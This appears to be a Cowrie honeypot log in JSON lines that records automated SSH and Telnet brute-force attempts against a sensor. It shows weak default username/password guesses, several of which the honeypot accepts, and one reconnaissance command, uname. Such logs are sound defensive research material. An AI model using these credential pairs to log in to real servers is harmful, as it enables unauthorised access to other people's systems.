{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37712,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff0d291f57a5","protocol":"ssh","message":"New connection: 45.153.34.114:37712 (159.203.135.109:22) [session: ff0d291f57a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:11.452481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:11.460824Z","src_ip":"45.153.34.114","session":"ff0d291f57a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:11.536518Z","src_ip":"45.153.34.114","session":"ff0d291f57a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:11.870568Z","src_ip":"45.153.34.114","session":"ff0d291f57a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:12.958019Z","src_ip":"45.153.34.114","session":"ff0d291f57a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":44556,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b834a24b483","protocol":"telnet","message":"New connection: 74.91.213.120:44556 (159.203.135.109:23) [session: 3b834a24b483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:16.105884Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60244,"dst_ip":"159.203.135.109","dst_port":22,"session":"60f3538a71fb","protocol":"ssh","message":"New connection: 45.153.34.114:60244 (159.203.135.109:22) [session: 60f3538a71fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:19.504425Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:19.508080Z","src_ip":"45.153.34.114","session":"60f3538a71fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:19.592674Z","src_ip":"45.153.34.114","session":"60f3538a71fb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:19.931594Z","src_ip":"45.153.34.114","session":"60f3538a71fb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:20.159864Z","src_ip":"45.153.34.114","session":"60f3538a71fb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:20.163702Z","src_ip":"45.153.34.114","session":"60f3538a71fb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:20.255403Z","src_ip":"45.153.34.114","session":"60f3538a71fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:20.260830Z","src_ip":"45.153.34.114","session":"60f3538a71fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":51228,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c1b29c7140","protocol":"ssh","message":"New connection: 80.94.92.182:51228 (10.17.0.5:22) [session: c4c1b29c7140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:23.964645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:24.110631Z","src_ip":"80.94.92.182","session":"c4c1b29c7140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:24.114513Z","src_ip":"80.94.92.182","session":"c4c1b29c7140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:25.017007Z","src_ip":"80.94.92.182","session":"c4c1b29c7140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:26.478498Z","src_ip":"80.94.92.182","session":"c4c1b29c7140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60266,"dst_ip":"159.203.135.109","dst_port":22,"session":"039578aafb3c","protocol":"ssh","message":"New connection: 45.153.34.114:60266 (159.203.135.109:22) [session: 039578aafb3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:27.550684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:27.604303Z","src_ip":"45.153.34.114","session":"039578aafb3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:27.642948Z","src_ip":"45.153.34.114","session":"039578aafb3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:27.981105Z","src_ip":"45.153.34.114","session":"039578aafb3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:29.069140Z","src_ip":"45.153.34.114","session":"039578aafb3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":39080,"dst_ip":"159.203.135.109","dst_port":23,"session":"9902de498886","protocol":"telnet","message":"New connection: 74.91.213.120:39080 (159.203.135.109:23) [session: 9902de498886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:31.671474Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35956,"dst_ip":"159.203.135.109","dst_port":22,"session":"101494723157","protocol":"ssh","message":"New connection: 45.153.34.114:35956 (159.203.135.109:22) [session: 101494723157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:35.810633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:35.815487Z","src_ip":"45.153.34.114","session":"101494723157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:35.905730Z","src_ip":"45.153.34.114","session":"101494723157","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:36.169918Z","src_ip":"45.153.34.114","session":"101494723157","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:36.375278Z","src_ip":"45.153.34.114","session":"101494723157","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:36.377930Z","src_ip":"45.153.34.114","session":"101494723157","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:36.463506Z","src_ip":"45.153.34.114","session":"101494723157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:36.467989Z","src_ip":"45.153.34.114","session":"101494723157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":39390,"dst_ip":"159.203.135.109","dst_port":23,"session":"26b5b2f05740","protocol":"telnet","message":"New connection: 74.91.213.120:39390 (159.203.135.109:23) [session: 26b5b2f05740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:43.329841Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":44208,"dst_ip":"159.203.135.109","dst_port":22,"session":"f897c3ce3a15","protocol":"ssh","message":"New connection: 45.153.34.114:44208 (159.203.135.109:22) [session: f897c3ce3a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:43.694897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:43.699770Z","src_ip":"45.153.34.114","session":"f897c3ce3a15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:43.783302Z","src_ip":"45.153.34.114","session":"f897c3ce3a15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:44.043151Z","src_ip":"45.153.34.114","session":"f897c3ce3a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:45.133262Z","src_ip":"45.153.34.114","session":"f897c3ce3a15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.685937881469727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:46.791738Z","src_ip":"74.91.213.120","session":"3b834a24b483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":36080,"dst_ip":"159.203.135.109","dst_port":23,"session":"59630aceb575","protocol":"telnet","message":"New connection: 74.91.213.120:36080 (159.203.135.109:23) [session: 59630aceb575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:47.011448Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55872,"dst_ip":"159.203.135.109","dst_port":22,"session":"8259d5426cc7","protocol":"ssh","message":"New connection: 45.153.34.114:55872 (159.203.135.109:22) [session: 8259d5426cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:51.714925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:51.718963Z","src_ip":"45.153.34.114","session":"8259d5426cc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:51.804782Z","src_ip":"45.153.34.114","session":"8259d5426cc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suporte","password":"suporte","message":"login attempt [suporte/suporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:52.074990Z","src_ip":"45.153.34.114","session":"8259d5426cc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:53.161515Z","src_ip":"45.153.34.114","session":"8259d5426cc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46024,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe8eb52389d7","protocol":"ssh","message":"New connection: 45.153.34.114:46024 (159.203.135.109:22) [session: fe8eb52389d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:59.831196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:07:59.836378Z","src_ip":"45.153.34.114","session":"fe8eb52389d7","protocol":"ssh"}
